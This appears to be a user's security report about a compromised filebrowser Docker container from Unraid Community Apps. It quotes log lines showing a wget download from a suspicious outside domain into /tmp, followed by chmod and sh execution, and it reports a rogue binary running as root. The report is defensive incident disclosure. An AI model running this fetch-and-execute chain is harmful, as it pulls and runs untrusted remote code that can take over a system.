Potential Security Issue in Docker Image

Hi team,

I’ve encountered what seems to be a security compromise in the Docker container I pulled via the Unraid Community Apps for filebrowser/filebrowser.

Here’s what happened:

• The container (named FileBrowser-PNP on my Unraid) was trying to download and execute a file from a shady domain: https://aws.orgserv.dnsnet.cloud.anondns.net
• • The container logs showed repeated attempts like: Blocking Command: “wget -qO /tmp/f https://aws.orgserv.dnsnet.cloud.anondns.net”
    chmod +x /tmp/f
    sh /tmp/f
• When I inspected the container manually (docker exec), I found an unauthorized binary named /CmdgQvxO running persistently as root.
• This binary was removed and the image deleted immediately for security reasons.

Image details:

• Repo: filebrowser/filebrowser
• Installed via: Unraid Community Applications
• SHA256 digest: Not available — the image was deleted immediately after identifying suspicious activity, and no SHA could be recovered from logs or diagnostics.
• Installed plugins: only community-trusted ones like Community Applications, Compose Manager, intel-gpu-top, Theme Engine, Unraid Patch, etc.

Thanks.